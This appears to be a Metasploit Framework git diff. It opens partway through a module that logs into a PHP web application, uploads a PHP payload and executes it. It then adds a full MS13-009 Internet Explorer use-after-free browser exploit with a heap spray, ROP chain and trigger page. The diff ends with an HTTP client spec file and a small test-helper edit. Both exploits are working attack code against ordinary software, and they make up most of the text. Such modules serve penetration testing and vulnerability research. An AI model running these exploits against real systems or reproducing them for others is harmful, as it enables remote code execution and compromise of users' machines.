'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
|
||||
})
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
base = target_uri.path
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
# login; get session id and token
|
||||
print_status("#{@peer} - Authenticating as user '#{user}'")
|
||||
res = login(base, user, pass)
|
||||
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
|
||||
token = "#{$1}"
|
||||
sid = "#{$2}"
|
||||
print_good("#{@peer} - Authenticated successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
|
||||
end
|
||||
|
||||
# upload PHP payload
|
||||
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
|
||||
php = %Q|<?php #{payload.encoded} ?>|
|
||||
begin
|
||||
res = upload(base, sid, @fname, php)
|
||||
if res and res.code == 301 and res['location'] =~ /Setting saved/
|
||||
print_good("#{@peer} - File uploaded successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
|
||||
# retrieve PHP file path
|
||||
print_status("#{@peer} - Locating PHP payload file")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
|
||||
'cookie' => "sid#{token}=#{sid}"
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
|
||||
shell_uri = "#{$1}"
|
||||
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
|
||||
print_good("#{@peer} - Found payload file path (#{shell_uri})")
|
||||
else
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
|
||||
end
|
||||
|
||||
# retrieve and execute PHP payload
|
||||
print_status("#{@peer} - Executing payload (#{shell_uri})")
|
||||
begin
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(base, shell_uri),
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
|
||||
end
|
||||
if !res or res.code != 200
|
||||
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,205 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
|
||||
'Description' => %q{
|
||||
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
|
||||
where a CParaElement node is released but a reference is still kept
|
||||
in CDoc. This memory is reused when a CDoc relayout is performed.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0025' ],
|
||||
[ 'MSB', 'MS13-009' ],
|
||||
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'Space' => 920,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 13 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
print_status("Target selected as: #{t.name}")
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def heap_spray(my_target, p)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
|
||||
js = %Q|
|
||||
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
heap_obj.gc();
|
||||
for (var i=1; i < 0x300; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
var overflow = nops.substring(0, 10);
|
||||
|
||||
|
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate
|
||||
|
||||
end
|
||||
|
||||
return js
|
||||
end
|
||||
|
||||
def get_payload(t, cli)
|
||||
code = payload.encoded
|
||||
|
||||
# No rop. Just return the payload.
|
||||
return code if t['Rop'].nil?
|
||||
|
||||
# ROP chain generated by mona.py - See corelan.be
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
rop_nops = [0x77c39f92].pack("V") * 11 # RETN
|
||||
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
|
||||
rop_payload << rop_nops
|
||||
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
|
||||
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
|
||||
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
|
||||
rop_payload << [0x77c39f92].pack("V") # RETN
|
||||
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
|
||||
rop_payload << code
|
||||
end
|
||||
|
||||
return rop_payload
|
||||
end
|
||||
|
||||
def get_exploit(my_target, cli)
|
||||
p = get_payload(my_target, cli)
|
||||
js = heap_spray(my_target, p)
|
||||
|
||||
html = %Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
<script>
|
||||
var data;
|
||||
var objArray = new Array(1150);
|
||||
|
||||
setTimeout(function(){
|
||||
document.body.style.whiteSpace = "pre-line";
|
||||
|
||||
CollectGarbage();
|
||||
|
||||
for (var i=0;i<1150;i++){
|
||||
objArray[i] = document.createElement('div');
|
||||
objArray[i].className = data += unescape("%u0c0c%u0c0c");
|
||||
}
|
||||
|
||||
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
|
||||
}, 100)
|
||||
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<p> </p>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
uri = request.uri
|
||||
print_status("Requesting: #{uri}")
|
||||
|
||||
my_target = get_target(agent)
|
||||
# Avoid the attack if no suitable target found
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
html = get_exploit(my_target, cli)
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
print_status "Sending HTML..."
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,241 @@
|
|||
require 'rex/proto/http/client'
|
||||
|
||||
# Note: Some of these tests require a failed
|
||||
# connection to 127.0.0.1:1. If you have some crazy local
|
||||
# firewall that is dropping packets to this, your tests
|
||||
# might be slow. I wonder how Travis-CI will react to this...
|
||||
describe Rex::Proto::Http::Client do
|
||||
|
||||
class << self
|
||||
|
||||
# Set a standard excuse that indicates that the method
|
||||
# under test needs to be first examined to figure out
|
||||
# what's sane and what's not.
|
||||
def excuse_lazy(test_method=nil)
|
||||
ret = "need to determine pass/fail criteria"
|
||||
test_method ? ret << " for #{test_method.inspect}" : ret
|
||||
end
|
||||
|
||||
# Complain about not having a "real" connection (can be mocked)
|
||||
def excuse_needs_connection
|
||||
"need to actually set up an HTTP server to test"
|
||||
end
|
||||
|
||||
# Complain about not having a real auth server (can be mocked)
|
||||
def excuse_needs_auth
|
||||
"need to set up an HTTP authentication challenger"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
before(:all) do
|
||||
@ip = "1.2.3.4"
|
||||
@cli = Rex::Proto::Http::Client.new(@ip)
|
||||
end
|
||||
|
||||
it "should respond to intialize" do
|
||||
@cli.should be
|
||||
end
|
||||
|
||||
it "should have a set of default instance variables" do
|
||||
@cli.instance_variable_get(:@hostname).should == @ip
|
||||
@cli.instance_variable_get(:@port).should == 80
|
||||
@cli.instance_variable_get(:@context).should == {}
|
||||
@cli.instance_variable_get(:@ssl).should be_false
|
||||
@cli.instance_variable_get(:@proxies).should be_nil
|
||||
# @cli.instance_variable_get(:@username).should be_empty
|
||||
# @cli.instance_variable_get(:@password).should be_empty
|
||||
@cli.config.should be_a_kind_of Hash
|
||||
@cli.config_types.should be_a_kind_of Hash
|
||||
end
|
||||
|
||||
it "should produce a raw HTTP request", :pending => "Waiting for PR #1500" do
|
||||
@cli.request_raw.should be_a_kind_of Rex::Proto::Http::Request
|
||||
end
|
||||
|
||||
it "should produce a CGI HTTP request", :pending => "Waiting for PR #1500" do
|
||||
@cli.request_cgi.should be_a_kind_of Rex::Proto::Http::Request
|
||||
end
|
||||
|
||||
it "should attempt to connect to a server" do
|
||||
this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1)
|
||||
expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused
|
||||
end
|
||||
|
||||
it "should be able to close a connection" do
|
||||
@cli.close.should be_nil
|
||||
end
|
||||
|
||||
it "should send a request and receive a response", :pending => excuse_needs_connection do
|
||||
|
||||
end
|
||||
|
||||
it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do
|
||||
|
||||
end
|
||||
|
||||
it "should send a request", :pending => excuse_needs_connection do
|
||||
|
||||
end
|
||||
|
||||
it "should test for credentials" do
|
||||
# @cli.should_not have_creds
|
||||
# this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" )
|
||||
# this_cli.should have_creds
|
||||
pending "Should actually respond to :has_creds"
|
||||
end
|
||||
|
||||
it "should send authentication", :pending => excuse_needs_connection
|
||||
|
||||
it "should produce a basic authentication header", :pending => "Waiting for #1500" do
|
||||
u = "user1"
|
||||
p = "pass1"
|
||||
b64 = ["#{u}:#{p}"].pack("m*").strip
|
||||
@cli.basic_auth_header("user1","pass1").should == "Basic #{b64}"
|
||||
end
|
||||
|
||||
it "should perform digest authentication", :pending => excuse_needs_auth do
|
||||
|
||||
end
|
||||
|
||||
it "should perform negotiate authentication", :pending => excuse_needs_auth do
|
||||
|
||||
end
|
||||
|
||||
it "should get a response", :pending => excuse_needs_connection do
|
||||
|
||||
end
|
||||
|
||||
it "should end a connection with a stop" do
|
||||
@cli.stop.should be_nil
|
||||
end
|
||||
|
||||
it "should test if a connection is valid" do
|
||||
@cli.conn?.should be_false
|
||||
end
|
||||
|
||||
it "should tell if pipelining is enabled" do
|
||||
@cli.pipelining?.should be_false
|
||||
this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1)
|
||||
this_cli.pipeline = true
|
||||
this_cli.pipelining?.should be_true
|
||||
end
|
||||
|
||||
it "should return an encoded URI", :pending => excuse_lazy(:set_encode_uri) do
|
||||
|
||||
end
|
||||
|
||||
it "should return an encoded query string", :pending => excuse_lazy(:set_encode_qa) do
|
||||
|
||||
end
|
||||
|
||||
# These set_ methods all exercise the evasion opts, looks like
|
||||
|
||||
it "should set and return the URI", :pending => excuse_lazy(:set_uri) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the CGI", :pending => excuse_lazy(:set_cgi) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the HTTP verb", :pending => excuse_lazy(:set_method) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the version string", :pending => excuse_lazy(:set_version) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the HTTP seperator and body string", :pending => excuse_lazy(:set_body) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the path", :pending => excuse_lazy(:set_path_info) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the whitespace between method and URI", :pending => excuse_lazy(:set_method_uri_spacer) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the whitespace between the version and URI", :pending => excuse_lazy(:set_uri_version_spacer) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return padding before the URI", :pending => excuse_lazy(:set_uri_prepend) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return padding after the URI" do
|
||||
@cli.set_uri_append.should be_empty
|
||||
end
|
||||
|
||||
it "should set and return the host header", :pending => excuse_lazy(:set_host_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the agent header", :pending => excuse_lazy(:set_agent_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the cookie header", :pending => excuse_lazy(:set_cookie_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the content-type header", :pending => excuse_lazy(:set_cookie_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the content-length header", :pending => excuse_lazy(:set_content_len_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return the basic authentication header", :pending => excuse_lazy(:set_basic_auth_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return any extra headers", :pending => excuse_lazy(:set_extra_headers) do
|
||||
|
||||
end
|
||||
|
||||
it "should set the chunked encoding header", :pending => excuse_lazy(:set_chunked_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return raw_headers", :pending => "#set_raw_headers() doesn't seem to actually do anything" do
|
||||
|
||||
end
|
||||
|
||||
it "should set and return a formatted header", :pending => excuse_lazy(:set_formatted_header) do
|
||||
|
||||
end
|
||||
|
||||
it "should respond to its various accessors" do
|
||||
@cli.should respond_to :config
|
||||
@cli.should respond_to :config_types
|
||||
@cli.should respond_to :pipeline
|
||||
@cli.should respond_to :local_host
|
||||
@cli.should respond_to :local_port
|
||||
@cli.should respond_to :conn
|
||||
@cli.should respond_to :context
|
||||
@cli.should respond_to :proxies
|
||||
# @cli.should respond_to :username
|
||||
# @cli.should respond_to :password
|
||||
@cli.should respond_to :junk_pipeline
|
||||
# These are supposed to be protected
|
||||
@cli.should respond_to :ssl
|
||||
@cli.should respond_to :ssl_version
|
||||
@cli.should respond_to :hostname
|
||||
@cli.should respond_to :port
|
||||
end
|
||||
|
||||
# Not super sure why these are protected...
|
||||
it "should refuse access to its protected accessors" do
|
||||
expect {@cli.ssl}.to raise_error NoMethodError
|
||||
expect {@cli.ssl_version}.to raise_error NoMethodError
|
||||
expect {@cli.hostname}.to raise_error NoMethodError
|
||||
expect {@cli.port}.to raise_error NoMethodError
|
||||
end
|
||||
|
||||
end
|
|
@ -11,12 +11,6 @@ $LOAD_PATH.unshift(lib_pathname.to_s)
|
|||
# must be first require and started before any other requires so that it can measure coverage of all following required
|
||||
# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov.
|
||||
require 'simplecov'
|
||||
# Ensure the coverage directory is always the same no matter where the individual spec is in the hierarchy when using
|
||||
# Rubymine to run one spec.
|
||||
#
|
||||
# @see https://github.com/colszowka/simplecov/issues/95
|
||||
SimpleCov.root(root_pathname)
|
||||
SimpleCov.start
|
||||
|
||||
require 'rspec/core'
|
||||
|
||||
|
|
Loading…
Reference in New Issue